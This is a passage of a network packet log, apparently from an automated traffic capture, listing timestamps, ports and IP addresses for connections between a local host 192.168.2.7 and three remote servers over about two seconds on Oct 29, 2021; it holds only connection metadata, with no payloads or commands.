Oct 29, 2021 20:29:50.188246012 CEST	49774	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:29:50.188260078 CEST	443	49774	162.159.135.233	192.168.2.7
Oct 29, 2021 20:29:50.188278913 CEST	443	49774	162.159.135.233	192.168.2.7
Oct 29, 2021 20:29:50.188312054 CEST	49774	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:29:50.188323975 CEST	443	49774	162.159.135.233	192.168.2.7
Oct 29, 2021 20:29:50.188355923 CEST	49774	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:29:50.188446999 CEST	49774	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:29:50.188714981 CEST	49774	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:29:50.191118002 CEST	443	49774	162.159.135.233	192.168.2.7
Oct 29, 2021 20:29:50.191153049 CEST	443	49774	162.159.135.233	192.168.2.7
Oct 29, 2021 20:29:50.191246986 CEST	49774	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:29:50.191278934 CEST	443	49774	162.159.135.233	192.168.2.7
Oct 29, 2021 20:29:50.191335917 CEST	443	49774	162.159.135.233	192.168.2.7
Oct 29, 2021 20:29:50.191387892 CEST	49774	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:29:50.191402912 CEST	443	49774	162.159.135.233	192.168.2.7
Oct 29, 2021 20:29:50.191416979 CEST	49774	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:29:50.191456079 CEST	49774	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:29:50.191521883 CEST	443	49774	162.159.135.233	192.168.2.7
Oct 29, 2021 20:29:50.191562891 CEST	443	49774	162.159.135.233	192.168.2.7
Oct 29, 2021 20:29:50.191601038 CEST	49774	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:29:50.191613913 CEST	443	49774	162.159.135.233	192.168.2.7
Oct 29, 2021 20:29:50.191631079 CEST	443	49774	162.159.135.233	192.168.2.7
Oct 29, 2021 20:29:50.191663980 CEST	49774	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:29:50.191720009 CEST	49774	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:29:50.198573112 CEST	49774	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:29:51.297377110 CEST	49775	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:51.350874901 CEST	80	49775	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:51.350994110 CEST	49775	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:51.351222992 CEST	49775	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:51.351272106 CEST	49775	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:51.428925991 CEST	80	49775	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:51.429012060 CEST	49775	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:51.445986032 CEST	49775	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:51.487482071 CEST	49776	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:51.499527931 CEST	80	49775	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:51.540241003 CEST	80	49776	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:51.540621042 CEST	49776	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:51.540746927 CEST	49776	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:51.540750980 CEST	49776	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:51.622433901 CEST	80	49776	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:51.622999907 CEST	49776	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:51.623569965 CEST	49776	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:51.659076929 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:51.676188946 CEST	80	49776	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:51.710726023 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:51.710895061 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:51.711175919 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:51.711191893 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:51.792746067 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:51.792793989 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:51.792823076 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:51.792881012 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:51.792912960 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:51.792946100 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:51.792977095 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:51.792989969 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:51.793018103 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:51.793042898 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:51.793060064 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:51.793095112 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:51.793109894 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:51.793142080 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:51.793945074 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:51.845035076 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:51.845093966 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:51.845129967 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:51.845165014 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:51.845201969 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:51.845221996 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:51.845264912 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:51.845280886 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:51.845325947 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:51.845339060 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:51.845393896 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:51.845443010 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:51.845462084 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:51.845499992 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:51.845542908 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:51.845596075 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:51.845632076 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:51.845671892 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:51.845689058 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:51.845738888 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:51.845788956 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:51.845823050 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:51.845854998 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:51.845892906 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:51.845926046 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:51.845946074 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:51.845978975 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:51.846007109 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:51.846031904 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:51.846175909 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:51.897696018 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:51.897752047 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:51.897795916 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:51.897820950 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:51.897874117 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:51.897917032 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:51.897963047 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:51.897980928 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:51.898017883 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:51.898036003 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:51.898241043 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:51.898286104 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:51.898336887 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:51.898350000 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:51.898406029 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:51.898417950 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:51.898459911 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:51.898493052 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:51.898509979 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:51.898540974 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:51.898572922 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:51.898605108 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:51.898629904 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:51.898658991 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:51.898715973 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:51.898726940 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:51.898761034 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:51.898798943 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:51.898814917 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:51.898845911 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:51.898873091 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:51.898893118 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:51.898952007 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:51.898984909 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:51.899013042 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:51.899032116 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:51.899049044 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:51.899077892 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:51.899110079 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:51.899141073 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:51.899168015 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:51.899189949 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:51.899203062 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:51.899233103 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:51.899262905 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:51.899293900 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:51.899318933 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:51.899342060 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:51.899372101 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:51.899405956 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:51.899439096 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:51.899475098 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:51.899483919 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:51.899543047 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:51.899552107 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:51.899599075 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:51.899636984 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:51.899669886 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:51.899703979 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:51.899822950 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:51.951780081 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:51.951821089 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:51.951890945 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:51.951956034 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:51.951956034 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:51.951992035 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:51.952035904 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:51.952069998 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:51.952083111 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:51.952132940 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:51.952146053 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:51.952208042 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:51.952240944 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:51.952269077 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:51.952330112 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:51.952330112 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:51.952368021 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:51.952414036 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:51.952430964 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:51.952445030 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:51.952476025 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:51.952514887 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:51.952572107 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:51.952600956 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:51.952630997 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:51.952634096 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:51.952694893 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:51.952738047 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:51.952766895 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:51.952769041 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:51.952801943 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:51.952804089 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:51.952896118 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:51.952898026 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:51.952955961 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:51.953022957 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:51.953074932 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:51.953104973 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:51.953131914 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:51.953166008 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:51.953167915 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:51.953196049 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:51.953231096 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:51.953243017 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:51.953260899 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:51.953284979 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:51.953293085 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:51.953324080 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:51.953350067 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:51.953355074 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:51.953387022 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:51.953418016 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:51.953421116 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:51.953448057 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:51.953478098 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:51.953512907 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:51.953514099 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:51.953546047 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:51.953552008 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:51.953579903 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:51.953598976 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:51.953610897 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:51.953644991 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:51.953665972 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:51.953675032 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:51.953706980 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:51.953732014 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:51.953737020 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:51.953768969 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:51.953789949 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:51.953800917 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:51.953856945 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.005486012 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.005522013 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.005553961 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.005568981 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.005620003 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.005654097 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.005770922 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.005804062 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.005815029 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.005851984 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.005883932 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.005912066 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.005932093 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.006057024 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.006057978 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.006074905 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.006087065 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.006112099 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.006135941 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.006159067 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.006182909 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.006202936 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.006206989 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.006232023 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.006247044 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.006251097 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.006258011 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.006279945 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.006282091 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.006305933 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.006329060 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.006344080 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.006351948 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.006375074 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.006376028 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.006400108 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.006422997 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.006423950 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.006448030 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.006470919 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.006494999 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.006495953 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.006519079 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.006526947 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.006541967 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.006563902 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.006565094 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.006584883 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.006606102 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.006627083 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.006629944 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.006649017 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.006670952 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.006692886 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.006712914 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.006711006 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.006733894 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.006735086 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.006742954 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.006757021 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.006778955 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.006799936 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.006819963 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.006834030 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.006848097 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.006867886 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.006899118 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.006922960 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.006947041 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.006970882 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.006999016 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.007016897 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.029967070 CEST	49778	443	192.168.2.7	162.159.129.233
Oct 29, 2021 20:29:52.030039072 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:52.030145884 CEST	49778	443	192.168.2.7	162.159.129.233
Oct 29, 2021 20:29:52.057334900 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.057377100 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.057401896 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.057425976 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.057518005 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.057543039 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.057558060 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.057586908 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.057605982 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.058399916 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.058433056 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.058456898 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.058476925 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.058495998 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.058516026 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.058551073 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.058605909 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.058609009 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.058619022 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.058633089 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.058644056 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.058706999 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.058775902 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.058809042 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.058818102 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.058840990 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.058933973 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.058974028 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.059011936 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.059119940 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.059171915 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.059197903 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.059223890 CEST	80	49777	185.98.87.159	192.168.2.7
